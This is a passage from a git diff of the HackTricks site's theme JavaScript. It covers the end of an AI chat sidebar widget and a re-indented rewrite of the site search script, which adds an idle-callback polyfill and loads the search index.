console.error("Error sending message:", e); + loadingBubble.textContent = "An unexpected error occurred."; + } finally { + isRunning = false; + setInputDisabled(false); + chatLog.scrollTop = chatLog.scrollHeight; + } + } + + async function handleSend() { + const q = inputBox.value.trim(); + if (!q) return; + if (q.length > MAX_QUESTION) { + alert( + `Your question is too long (${q.length} chars). Max allowed: ${MAX_QUESTION}.` + ); + return; + } + inputBox.value = ""; + addMsg(q, "ht-user"); + await sendMessage(q, savedSelection || null); + } + sendBtn.addEventListener("click", handleSend); + inputBox.addEventListener("keydown", (e) => { + if (e.key === "Enter" && !e.shiftKey) { + e.preventDefault(); + handleSend(); + } + }); + } + + /* ==================================================================== */ + async function ensureThreadId() { + const m = document.cookie.match(/threadId=([^;]+)/); + if (m && m[1]) { + threadId = m[1]; + return; + } + try { + const r = await fetch(API_BASE, { method: "POST", credentials: "include" }); + const d = await r.json(); + if (!r.ok || !d.threadId) throw new Error(`${r.status} ${r.statusText}`); + threadId = d.threadId; + document.cookie = + `threadId=${threadId}; Path=/; Secure; SameSite=Strict; Max-Age=7200`; + } catch (e) { + console.error("Error creating threadId:", e); + alert("Failed to initialise the conversation. Please refresh and try again."); + throw e; + } + } + + /* ==================================================================== */ + function injectStyles() { + const css = ` + #ht-ai-btn{position:fixed;bottom:20px;left:50%;transform:translateX(-50%);width:60px;height:60px;border-radius:50%;background:#1e1e1e;color:#fff;font-size:28px;display:flex;align-items:center;justify-content:center;cursor:pointer;z-index:99999;box-shadow:0 2px 8px rgba(0,0,0,.4);transition:opacity .2s} + #ht-ai-btn:hover{opacity:.85} + @media(max-width:768px){#ht-ai-btn{display:none}} + #ht-ai-tooltip{position:fixed;padding:6px 8px;background:#111;color:#fff;border-radius:4px;font-size:13px;white-space:pre-wrap;pointer-events:none;opacity:0;transform:translate(-50%,-8px);transition:opacity .15s ease,transform .15s ease;z-index:100000} + #ht-ai-tooltip.show{opacity:1;transform:translate(-50%,-12px)} + #ht-ai-panel{position:fixed;top:0;right:0;height:100%;width:350px;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif} + #ht-ai-panel.open{transform:translateX(0)} + @media(max-width:768px){#ht-ai-panel{display:none}} + #ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333} + #ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center} + #ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0} + #ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7} + #ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px} + .ht-msg{max-width:90%;line-height:1.4;padding:10px 12px;border-radius:8px;white-space:pre-wrap;word-wrap:break-word} + .ht-user{align-self:flex-end;background:${BRAND_RED}} + .ht-ai{align-self:flex-start;background:#222} + .ht-context{align-self:flex-start;background:#444;font-style:italic;font-size:13px} + #ht-ai-input{display:flex;gap:8px;padding:12px 16px;border-top:1px solid #333} + #ht-ai-question{flex:1;min-height:40px;max-height:120px;resize:vertical;padding:8px;border-radius:6px;border:none;font-size:14px} + #ht-ai-send{padding:0 18px;border:none;border-radius:6px;background:${BRAND_RED};color:#fff;font-size:14px;cursor:pointer} + #ht-ai-send:disabled{opacity:.5;cursor:not-allowed} + /* Loader animation */ + .ht-loading{display:inline-flex;align-items:center;gap:4px} + .ht-loading span{width:6px;height:6px;border-radius:50%;background:#888;animation:ht-bounce 1.2s infinite ease-in-out} + .ht-loading span:nth-child(2){animation-delay:0.2s} + .ht-loading span:nth-child(3){animation-delay:0.4s} + @keyframes ht-bounce{0%,80%,100%{transform:scale(0);}40%{transform:scale(1);} } + ::selection{background:#ffeb3b;color:#000} + ::-moz-selection{background:#ffeb3b;color:#000}`; + const s = document.createElement("style"); + s.id = "ht-ai-style"; + s.textContent = css; + document.head.appendChild(s); + } + + function createFloatingButton() { + const d = document.createElement("div"); + d.id = "ht-ai-btn"; + d.textContent = "🤖"; + document.body.appendChild(d); + return d; + } + + function createTooltip(btn) { + const t = document.createElement("div"); + t.id = "ht-ai-tooltip"; + t.textContent = TOOLTIP_TEXT; + document.body.appendChild(t); + btn.addEventListener("mouseenter", () => { + const r = btn.getBoundingClientRect(); + t.style.left = `${r.left + r.width / 2}px`; + t.style.top = `${r.top}px`; + t.classList.add("show"); + }); + btn.addEventListener("mouseleave", () => t.classList.remove("show")); + } + + function createSidebar() { + const p = document.createElement("div"); + p.id = "ht-ai-panel"; + p.innerHTML = ` +
HackTricks AI Chat +
+ + +
+
+
+
+ + +
`; + document.body.appendChild(p); + return p; + } +})(); diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js index f2b4de026..f3dc65c1f 100644 --- a/theme/ht_searcher.js +++ b/theme/ht_searcher.js @@ -1,524 +1,554 @@ -"use strict"; -window.search = window.search || {}; -(function search(search) { - // Search functionality - // - // You can use !hasFocus() to prevent keyhandling in your key - // event handlers while the user is typing their search. - - if (!Mark || !elasticlunr) { - return; - } - - //IE 11 Compatibility from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith - if (!String.prototype.startsWith) { - String.prototype.startsWith = function(search, pos) { - return this.substr(!pos || pos < 0 ? 0 : +pos, search.length) === search; - }; - } - - var search_wrap = document.getElementById('search-wrapper'), - search_modal = document.getElementById('search-modal'), - searchbar = document.getElementById('searchbar'), - searchbar_outer = document.getElementById('searchbar-outer'), - searchresults = document.getElementById('searchresults'), - searchresults_outer = document.getElementById('searchresults-outer'), - searchresults_header = document.getElementById('searchresults-header'), - searchicon = document.getElementById('search-toggle'), - content = document.getElementById('content'), - - searchindex = null, - doc_urls = [], - results_options = { - teaser_word_count: 30, - limit_results: 30, - }, - search_options = { - bool: "AND", - expand: true, - fields: { - title: {boost: 1}, - body: {boost: 1}, - breadcrumbs: {boost: 0} +/* ──────────────────────────────────────────────────────────────── + Polyfill so requestIdleCallback works everywhere (IE 11/Safari) + ─────────────────────────────────────────────────────────────── */ + if (typeof window.requestIdleCallback !== "function") { + window.requestIdleCallback = function (cb) { + const start = Date.now(); + return setTimeout(function () { + cb({ + didTimeout: false, + timeRemaining: function () { + return Math.max(0, 50 - (Date.now() - start)); } - }, - mark_exclude = [], - marker = new Mark(content), - current_searchterm = "", - URL_SEARCH_PARAM = 'search', - URL_MARK_PARAM = 'highlight', - teaser_count = 0, - - SEARCH_HOTKEY_KEYCODE = 83, - ESCAPE_KEYCODE = 27, - DOWN_KEYCODE = 40, - UP_KEYCODE = 38, - SELECT_KEYCODE = 13; - - function hasFocus() { - return searchbar === document.activeElement; - } - - function removeChildren(elem) { - while (elem.firstChild) { - elem.removeChild(elem.firstChild); - } - } - - // Helper to parse a url into its building blocks. - function parseURL(url) { - var a = document.createElement('a'); - a.href = url; - return { - source: url, - protocol: a.protocol.replace(':',''), - host: a.hostname, - port: a.port, - params: (function(){ - var ret = {}; - var seg = a.search.replace(/^\?/,'').split('&'); - var len = seg.length, i = 0, s; - for (;i': '>', - '"': '"', - "'": ''' - }; - var repl = function(c) { return MAP[c]; }; - return function(s) { - return s.replace(/[&<>'"]/g, repl); - }; - })(); - - function formatSearchMetric(count, searchterm) { - if (count == 1) { - return count + " search result for '" + searchterm + "':"; - } else if (count == 0) { - return "No search results for '" + searchterm + "'."; - } else { - return count + " search results for '" + searchterm + "':"; - } - } - - function formatSearchResult(result, searchterms) { - var teaser = makeTeaser(escapeHTML(result.doc.body), searchterms); - teaser_count++; - - // The ?URL_MARK_PARAM= parameter belongs inbetween the page and the #heading-anchor - var url = doc_urls[result.ref].split("#"); - if (url.length == 1) { // no anchor found - url.push(""); - } - - // encodeURIComponent escapes all chars that could allow an XSS except - // for '. Due to that we also manually replace ' with its url-encoded - // representation (%27). - var searchterms = encodeURIComponent(searchterms.join(" ")).replace(/\'/g, "%27"); - - return '' + result.doc.breadcrumbs - + '' - + teaser + '' + ''; - } - - function makeTeaser(body, searchterms) { - // The strategy is as follows: - // First, assign a value to each word in the document: - // Words that correspond to search terms (stemmer aware): 40 - // Normal words: 2 - // First word in a sentence: 8 - // Then use a sliding window with a constant number of words and count the - // sum of the values of the words within the window. Then use the window that got the - // maximum sum. If there are multiple maximas, then get the last one. - // Enclose the terms in . - var stemmed_searchterms = searchterms.map(function(w) { - return elasticlunr.stemmer(w.toLowerCase()); }); - var searchterm_weight = 40; - var weighted = []; // contains elements of ["word", weight, index_in_document] - // split in sentences, then words - var sentences = body.toLowerCase().split('. '); - var index = 0; - var value = 0; - var searchterm_found = false; - for (var sentenceindex in sentences) { - var words = sentences[sentenceindex].split(' '); - value = 8; - for (var wordindex in words) { - var word = words[wordindex]; - if (word.length > 0) { - for (var searchtermindex in stemmed_searchterms) { - if (elasticlunr.stemmer(word).startsWith(stemmed_searchterms[searchtermindex])) { - value = searchterm_weight; - searchterm_found = true; - } - }; - weighted.push([word, value, index]); - value = 2; - } - index += word.length; - index += 1; // ' ' or '.' if last word in sentence - }; - index += 1; // because we split at a two-char boundary '. ' - }; - - if (weighted.length == 0) { - return body; - } - - var window_weight = []; - var window_size = Math.min(weighted.length, results_options.teaser_word_count); - - var cur_sum = 0; - for (var wordindex = 0; wordindex < window_size; wordindex++) { - cur_sum += weighted[wordindex][1]; - }; - window_weight.push(cur_sum); - for (var wordindex = 0; wordindex < weighted.length - window_size; wordindex++) { - cur_sum -= weighted[wordindex][1]; - cur_sum += weighted[wordindex + window_size][1]; - window_weight.push(cur_sum); - }; - - if (searchterm_found) { - var max_sum = 0; - var max_sum_window_index = 0; - // backwards - for (var i = window_weight.length - 1; i >= 0; i--) { - if (window_weight[i] > max_sum) { - max_sum = window_weight[i]; - max_sum_window_index = i; - } - }; - } else { - max_sum_window_index = 0; - } - - // add around searchterms - var teaser_split = []; - var index = weighted[max_sum_window_index][2]; - for (var i = max_sum_window_index; i < max_sum_window_index+window_size; i++) { - var word = weighted[i]; - if (index < word[2]) { - // missing text from index to start of `word` - teaser_split.push(body.substring(index, word[2])); - index = word[2]; - } - if (word[1] == searchterm_weight) { - teaser_split.push("") - } - index = word[2] + word[0].length; - teaser_split.push(body.substring(word[2], index)); - if (word[1] == searchterm_weight) { - teaser_split.push("") - } - }; - - return teaser_split.join(''); - } - - function init(config) { - results_options = config.results_options; - search_options = config.search_options; - searchbar_outer = config.searchbar_outer; - doc_urls = config.doc_urls; - searchindex = elasticlunr.Index.load(config.index); - - // Set up events - searchicon.addEventListener('click', function(e) { searchIconClickHandler(); }, false); - search_wrap.addEventListener('click', function(e) { searchIconClickHandler(); }, false); - search_modal.addEventListener('click', function(e) { e.stopPropagation(); }, false); - searchbar.addEventListener('keyup', function(e) { searchbarKeyUpHandler(); }, false); - document.addEventListener('keydown', function(e) { globalKeyHandler(e); }, false); - // If the user uses the browser buttons, do the same as if a reload happened - window.onpopstate = function(e) { doSearchOrMarkFromUrl(); }; - // Suppress "submit" events so the page doesn't reload when the user presses Enter - document.addEventListener('submit', function(e) { e.preventDefault(); }, false); - - // If reloaded, do the search or mark again, depending on the current url parameters - doSearchOrMarkFromUrl(); + }, 1); + }; + window.cancelIdleCallback = window.clearTimeout; } - function unfocusSearchbar() { - // hacky, but just focusing a div only works once - var tmp = document.createElement('input'); - tmp.setAttribute('style', 'position: absolute; opacity: 0;'); - searchicon.appendChild(tmp); - tmp.focus(); - tmp.remove(); - } + + /* ──────────────────────────────────────────────────────────────── + search.js + ─────────────────────────────────────────────────────────────── */ - // On reload or browser history backwards/forwards events, parse the url and do search or mark - function doSearchOrMarkFromUrl() { - // Check current URL for search request - var url = parseURL(window.location.href); - if (url.params.hasOwnProperty(URL_SEARCH_PARAM) - && url.params[URL_SEARCH_PARAM] != "") { - showSearch(true); - searchbar.value = decodeURIComponent( - (url.params[URL_SEARCH_PARAM]+'').replace(/\+/g, '%20')); - searchbarKeyUpHandler(); // -> doSearch() - } else { - showSearch(false); + "use strict"; + window.search = window.search || {}; + (function search(search) { + // Search functionality + // + // You can use !hasFocus() to prevent keyhandling in your key + // event handlers while the user is typing their search. + + if (!Mark || !elasticlunr) { + return; } - - if (url.params.hasOwnProperty(URL_MARK_PARAM)) { - var words = decodeURIComponent(url.params[URL_MARK_PARAM]).split(' '); - marker.mark(words, { - exclude: mark_exclude + + //IE 11 Compatibility from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith + if (!String.prototype.startsWith) { + String.prototype.startsWith = function(search, pos) { + return this.substr(!pos || pos < 0 ? 0 : +pos, search.length) === search; + }; + } + + var search_wrap = document.getElementById('search-wrapper'), + search_modal = document.getElementById('search-modal'), + searchbar = document.getElementById('searchbar'), + searchbar_outer = document.getElementById('searchbar-outer'), + searchresults = document.getElementById('searchresults'), + searchresults_outer = document.getElementById('searchresults-outer'), + searchresults_header = document.getElementById('searchresults-header'), + searchicon = document.getElementById('search-toggle'), + content = document.getElementById('content'), + + searchindex = null, + doc_urls = [], + results_options = { + teaser_word_count: 30, + limit_results: 30, + }, + search_options = { + bool: "AND", + expand: true, + fields: { + title: {boost: 1}, + body: {boost: 1}, + breadcrumbs: {boost: 0} + } + }, + mark_exclude = [], + marker = new Mark(content), + current_searchterm = "", + URL_SEARCH_PARAM = 'search', + URL_MARK_PARAM = 'highlight', + teaser_count = 0, + + SEARCH_HOTKEY_KEYCODE = 83, + ESCAPE_KEYCODE = 27, + DOWN_KEYCODE = 40, + UP_KEYCODE = 38, + SELECT_KEYCODE = 13; + + function hasFocus() { + return searchbar === document.activeElement; + } + + function removeChildren(elem) { + while (elem.firstChild) { + elem.removeChild(elem.firstChild); + } + } + + // Helper to parse a url into its building blocks. + function parseURL(url) { + var a = document.createElement('a'); + a.href = url; + return { + source: url, + protocol: a.protocol.replace(':',''), + host: a.hostname, + port: a.port, + params: (function(){ + var ret = {}; + var seg = a.search.replace(/^\?/,'').split('&'); + var len = seg.length, i = 0, s; + for (;i': '>', + '"': '"', + "'": ''' + }; + var repl = function(c) { return MAP[c]; }; + return function(s) { + return s.replace(/[&<>'"]/g, repl); + }; + })(); + + function formatSearchMetric(count, searchterm) { + if (count == 1) { + return count + " search result for '" + searchterm + "':"; + } else if (count == 0) { + return "No search results for '" + searchterm + "'."; + } else { + return count + " search results for '" + searchterm + "':"; + } + } + + function formatSearchResult(result, searchterms) { + var teaser = makeTeaser(escapeHTML(result.doc.body), searchterms); + teaser_count++; + + // The ?URL_MARK_PARAM= parameter belongs inbetween the page and the #heading-anchor + var url = doc_urls[result.ref].split("#"); + if (url.length == 1) { // no anchor found + url.push(""); + } + + // encodeURIComponent escapes all chars that could allow an XSS except + // for '. Due to that we also manually replace ' with its url-encoded + // representation (%27). + var searchterms = encodeURIComponent(searchterms.join(" ")).replace(/\'/g, "%27"); + + return '' + result.doc.breadcrumbs + + '' + + teaser + '' + ''; + } + + function makeTeaser(body, searchterms) { + // The strategy is as follows: + // First, assign a value to each word in the document: + // Words that correspond to search terms (stemmer aware): 40 + // Normal words: 2 + // First word in a sentence: 8 + // Then use a sliding window with a constant number of words and count the + // sum of the values of the words within the window. Then use the window that got the + // maximum sum. If there are multiple maximas, then get the last one. + // Enclose the terms in . + var stemmed_searchterms = searchterms.map(function(w) { + return elasticlunr.stemmer(w.toLowerCase()); }); - - var markers = document.querySelectorAll("mark"); - function hide() { + var searchterm_weight = 40; + var weighted = []; // contains elements of ["word", weight, index_in_document] + // split in sentences, then words + var sentences = body.toLowerCase().split('. '); + var index = 0; + var value = 0; + var searchterm_found = false; + for (var sentenceindex in sentences) { + var words = sentences[sentenceindex].split(' '); + value = 8; + for (var wordindex in words) { + var word = words[wordindex]; + if (word.length > 0) { + for (var searchtermindex in stemmed_searchterms) { + if (elasticlunr.stemmer(word).startsWith(stemmed_searchterms[searchtermindex])) { + value = searchterm_weight; + searchterm_found = true; + } + }; + weighted.push([word, value, index]); + value = 2; + } + index += word.length; + index += 1; // ' ' or '.' if last word in sentence + }; + index += 1; // because we split at a two-char boundary '. ' + }; + + if (weighted.length == 0) { + return body; + } + + var window_weight = []; + var window_size = Math.min(weighted.length, results_options.teaser_word_count); + + var cur_sum = 0; + for (var wordindex = 0; wordindex < window_size; wordindex++) { + cur_sum += weighted[wordindex][1]; + }; + window_weight.push(cur_sum); + for (var wordindex = 0; wordindex < weighted.length - window_size; wordindex++) { + cur_sum -= weighted[wordindex][1]; + cur_sum += weighted[wordindex + window_size][1]; + window_weight.push(cur_sum); + }; + + if (searchterm_found) { + var max_sum = 0; + var max_sum_window_index = 0; + // backwards + for (var i = window_weight.length - 1; i >= 0; i--) { + if (window_weight[i] > max_sum) { + max_sum = window_weight[i]; + max_sum_window_index = i; + } + }; + } else { + max_sum_window_index = 0; + } + + // add around searchterms + var teaser_split = []; + var index = weighted[max_sum_window_index][2]; + for (var i = max_sum_window_index; i < max_sum_window_index+window_size; i++) { + var word = weighted[i]; + if (index < word[2]) { + // missing text from index to start of `word` + teaser_split.push(body.substring(index, word[2])); + index = word[2]; + } + if (word[1] == searchterm_weight) { + teaser_split.push("") + } + index = word[2] + word[0].length; + teaser_split.push(body.substring(word[2], index)); + if (word[1] == searchterm_weight) { + teaser_split.push("") + } + }; + + return teaser_split.join(''); + } + + function init(config) { + results_options = config.results_options; + search_options = config.search_options; + searchbar_outer = config.searchbar_outer; + doc_urls = config.doc_urls; + searchindex = elasticlunr.Index.load(config.index); + + // Set up events + searchicon.addEventListener('click', function(e) { searchIconClickHandler(); }, false); + search_wrap.addEventListener('click', function(e) { searchIconClickHandler(); }, false); + search_modal.addEventListener('click', function(e) { e.stopPropagation(); }, false); + searchbar.addEventListener('keyup', function(e) { searchbarKeyUpHandler(); }, false); + document.addEventListener('keydown', function(e) { globalKeyHandler(e); }, false); + // If the user uses the browser buttons, do the same as if a reload happened + window.onpopstate = function(e) { doSearchOrMarkFromUrl(); }; + // Suppress "submit" events so the page doesn't reload when the user presses Enter + document.addEventListener('submit', function(e) { e.preventDefault(); }, false); + + // If reloaded, do the search or mark again, depending on the current url parameters + doSearchOrMarkFromUrl(); + } + + function unfocusSearchbar() { + // hacky, but just focusing a div only works once + var tmp = document.createElement('input'); + tmp.setAttribute('style', 'position: absolute; opacity: 0;'); + searchicon.appendChild(tmp); + tmp.focus(); + tmp.remove(); + } + + // On reload or browser history backwards/forwards events, parse the url and do search or mark + function doSearchOrMarkFromUrl() { + // Check current URL for search request + var url = parseURL(window.location.href); + if (url.params.hasOwnProperty(URL_SEARCH_PARAM) + && url.params[URL_SEARCH_PARAM] != "") { + showSearch(true); + searchbar.value = decodeURIComponent( + (url.params[URL_SEARCH_PARAM]+'').replace(/\+/g, '%20')); + searchbarKeyUpHandler(); // -> doSearch() + } else { + showSearch(false); + } + + if (url.params.hasOwnProperty(URL_MARK_PARAM)) { + var words = decodeURIComponent(url.params[URL_MARK_PARAM]).split(' '); + marker.mark(words, { + exclude: mark_exclude + }); + + var markers = document.querySelectorAll("mark"); + function hide() { + for (var i = 0; i < markers.length; i++) { + markers[i].classList.add("fade-out"); + window.setTimeout(function(e) { marker.unmark(); }, 300); + } + } for (var i = 0; i < markers.length; i++) { - markers[i].classList.add("fade-out"); - window.setTimeout(function(e) { marker.unmark(); }, 300); + markers[i].addEventListener('click', hide); } } - for (var i = 0; i < markers.length; i++) { - markers[i].addEventListener('click', hide); - } } - } + + // Eventhandler for keyevents on `document` + function globalKeyHandler(e) { + if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey || e.target.type === 'textarea' || e.target.type === 'text' || !hasFocus() && /^(?:input|select|textarea)$/i.test(e.target.nodeName)) { return; } - // Eventhandler for keyevents on `document` - function globalKeyHandler(e) { - if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey || e.target.type === 'textarea' || e.target.type === 'text' || !hasFocus() && /^(?:input|select|textarea)$/i.test(e.target.nodeName)) { return; } - - if (e.keyCode === ESCAPE_KEYCODE) { - e.preventDefault(); - searchbar.classList.remove("active"); - setSearchUrlParameters("", - (searchbar.value.trim() !== "") ? "push" : "replace"); - if (hasFocus()) { + if (e.keyCode === ESCAPE_KEYCODE) { + e.preventDefault(); + searchbar.classList.remove("active"); + setSearchUrlParameters("", + (searchbar.value.trim() !== "") ? "push" : "replace"); + if (hasFocus()) { + unfocusSearchbar(); + } + showSearch(false); + marker.unmark(); + } else if (!hasFocus() && e.keyCode === SEARCH_HOTKEY_KEYCODE) { + e.preventDefault(); + showSearch(true); + window.scrollTo(0, 0); + searchbar.select(); + } else if (hasFocus() && e.keyCode === DOWN_KEYCODE) { + e.preventDefault(); unfocusSearchbar(); - } - showSearch(false); - marker.unmark(); - } else if (!hasFocus() && e.keyCode === SEARCH_HOTKEY_KEYCODE) { - e.preventDefault(); - showSearch(true); - window.scrollTo(0, 0); - searchbar.select(); - } else if (hasFocus() && e.keyCode === DOWN_KEYCODE) { - e.preventDefault(); - unfocusSearchbar(); - searchresults.firstElementChild.classList.add("focus"); - } else if (!hasFocus() && (e.keyCode === DOWN_KEYCODE - || e.keyCode === UP_KEYCODE - || e.keyCode === SELECT_KEYCODE)) { - // not `:focus` because browser does annoying scrolling - var focused = searchresults.querySelector("li.focus"); - if (!focused) return; - e.preventDefault(); - if (e.keyCode === DOWN_KEYCODE) { - var next = focused.nextElementSibling; - if (next) { + searchresults.firstElementChild.classList.add("focus"); + } else if (!hasFocus() && (e.keyCode === DOWN_KEYCODE + || e.keyCode === UP_KEYCODE + || e.keyCode === SELECT_KEYCODE)) { + // not `:focus` because browser does annoying scrolling + var focused = searchresults.querySelector("li.focus"); + if (!focused) return; + e.preventDefault(); + if (e.keyCode === DOWN_KEYCODE) { + var next = focused.nextElementSibling; + if (next) { + focused.classList.remove("focus"); + next.classList.add("focus"); + } + } else if (e.keyCode === UP_KEYCODE) { focused.classList.remove("focus"); - next.classList.add("focus"); + var prev = focused.previousElementSibling; + if (prev) { + prev.classList.add("focus"); + } else { + searchbar.select(); + } + } else { // SELECT_KEYCODE + window.location.assign(focused.querySelector('a')); } - } else if (e.keyCode === UP_KEYCODE) { - focused.classList.remove("focus"); - var prev = focused.previousElementSibling; - if (prev) { - prev.classList.add("focus"); - } else { - searchbar.select(); - } - } else { // SELECT_KEYCODE - window.location.assign(focused.querySelector('a')); } } - } - - function showSearch(yes) { - if (yes) { - search_wrap.classList.remove('hidden'); - searchicon.setAttribute('aria-expanded', 'true'); - } else { - search_wrap.classList.add('hidden'); - searchicon.setAttribute('aria-expanded', 'false'); - var results = searchresults.children; - for (var i = 0; i < results.length; i++) { - results[i].classList.remove("focus"); + + function showSearch(yes) { + if (yes) { + search_wrap.classList.remove('hidden'); + searchicon.setAttribute('aria-expanded', 'true'); + } else { + search_wrap.classList.add('hidden'); + searchicon.setAttribute('aria-expanded', 'false'); + var results = searchresults.children; + for (var i = 0; i < results.length; i++) { + results[i].classList.remove("focus"); + } } } - } - - function showResults(yes) { - if (yes) { - searchresults_outer.classList.remove('hidden'); - } else { - searchresults_outer.classList.add('hidden'); - } - } - - // Eventhandler for search icon - function searchIconClickHandler() { - if (search_wrap.classList.contains('hidden')) { - showSearch(true); - window.scrollTo(0, 0); - searchbar.select(); - } else { - showSearch(false); - } - } - // Eventhandler for keyevents while the searchbar is focused - function searchbarKeyUpHandler() { - var searchterm = searchbar.value.trim(); - if (searchterm != "") { - searchbar.classList.add("active"); - doSearch(searchterm); - } else { - searchbar.classList.remove("active"); - showResults(false); + function showResults(yes) { + if (yes) { + searchresults_outer.classList.remove('hidden'); + } else { + searchresults_outer.classList.add('hidden'); + } + } + + // Eventhandler for search icon + function searchIconClickHandler() { + if (search_wrap.classList.contains('hidden')) { + showSearch(true); + window.scrollTo(0, 0); + searchbar.select(); + } else { + showSearch(false); + } + } + + // Eventhandler for keyevents while the searchbar is focused + function searchbarKeyUpHandler() { + var searchterm = searchbar.value.trim(); + if (searchterm != "") { + searchbar.classList.add("active"); + doSearch(searchterm); + } else { + searchbar.classList.remove("active"); + showResults(false); + removeChildren(searchresults); + } + + setSearchUrlParameters(searchterm, "push_if_new_search_else_replace"); + + // Remove marks + marker.unmark(); + } + + // Update current url with ?URL_SEARCH_PARAM= parameter, remove ?URL_MARK_PARAM and #heading-anchor . + // `action` can be one of "push", "replace", "push_if_new_search_else_replace" + // and replaces or pushes a new browser history item. + // "push_if_new_search_else_replace" pushes if there is no `?URL_SEARCH_PARAM=abc` yet. + function setSearchUrlParameters(searchterm, action) { + var url = parseURL(window.location.href); + var first_search = ! url.params.hasOwnProperty(URL_SEARCH_PARAM); + if (searchterm != "" || action == "push_if_new_search_else_replace") { + url.params[URL_SEARCH_PARAM] = searchterm; + delete url.params[URL_MARK_PARAM]; + url.hash = ""; + } else { + delete url.params[URL_MARK_PARAM]; + delete url.params[URL_SEARCH_PARAM]; + } + // A new search will also add a new history item, so the user can go back + // to the page prior to searching. A updated search term will only replace + // the url. + if (action == "push" || (action == "push_if_new_search_else_replace" && first_search) ) { + history.pushState({}, document.title, renderURL(url)); + } else if (action == "replace" || (action == "push_if_new_search_else_replace" && !first_search) ) { + history.replaceState({}, document.title, renderURL(url)); + } + } + + function doSearch(searchterm) { + + // Don't search the same twice + if (current_searchterm == searchterm) { return; } + else { current_searchterm = searchterm; } + + if (searchindex == null) { return; } + + // Do the actual search + var results = searchindex.search(searchterm, search_options); + var resultcount = Math.min(results.length, results_options.limit_results); + + // Display search metrics + searchresults_header.innerText = formatSearchMetric(resultcount, searchterm); + + // Clear and insert results + var searchterms = searchterm.split(' '); removeChildren(searchresults); - } - - setSearchUrlParameters(searchterm, "push_if_new_search_else_replace"); - - // Remove marks - marker.unmark(); - } + for(var i = 0; i < resultcount ; i++){ + var resultElem = document.createElement('li'); + resultElem.innerHTML = formatSearchResult(results[i], searchterms); + searchresults.appendChild(resultElem); + } - // Update current url with ?URL_SEARCH_PARAM= parameter, remove ?URL_MARK_PARAM and #heading-anchor . - // `action` can be one of "push", "replace", "push_if_new_search_else_replace" - // and replaces or pushes a new browser history item. - // "push_if_new_search_else_replace" pushes if there is no `?URL_SEARCH_PARAM=abc` yet. - function setSearchUrlParameters(searchterm, action) { - var url = parseURL(window.location.href); - var first_search = ! url.params.hasOwnProperty(URL_SEARCH_PARAM); - if (searchterm != "" || action == "push_if_new_search_else_replace") { - url.params[URL_SEARCH_PARAM] = searchterm; - delete url.params[URL_MARK_PARAM]; - url.hash = ""; - } else { - delete url.params[URL_MARK_PARAM]; - delete url.params[URL_SEARCH_PARAM]; + // Display results + showResults(true); } - // A new search will also add a new history item, so the user can go back - // to the page prior to searching. A updated search term will only replace - // the url. - if (action == "push" || (action == "push_if_new_search_else_replace" && first_search) ) { - history.pushState({}, document.title, renderURL(url)); - } else if (action == "replace" || (action == "push_if_new_search_else_replace" && !first_search) ) { - history.replaceState({}, document.title, renderURL(url)); - } - } - function doSearch(searchterm) { - - // Don't search the same twice - if (current_searchterm == searchterm) { return; } - else { current_searchterm = searchterm; } - - if (searchindex == null) { return; } - - // Do the actual search - var results = searchindex.search(searchterm, search_options); - var resultcount = Math.min(results.length, results_options.limit_results); - - // Display search metrics - searchresults_header.innerText = formatSearchMetric(resultcount, searchterm); - - // Clear and insert results - var searchterms = searchterm.split(' '); - removeChildren(searchresults); - for(var i = 0; i < resultcount ; i++){ - var resultElem = document.createElement('li'); - resultElem.innerHTML = formatSearchResult(results[i], searchterms); - searchresults.appendChild(resultElem); - } - - // Display results - showResults(true); - } - - (async function loadSearchIndex(lang = window.lang || "en") { - const branch = lang === "en" ? "master" : lang; - const rawUrl = - `https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/${branch}/searchindex.js`; - const localJs = "/searchindex.js"; - const TIMEOUT_MS = 5_000; - - /* helper: inject a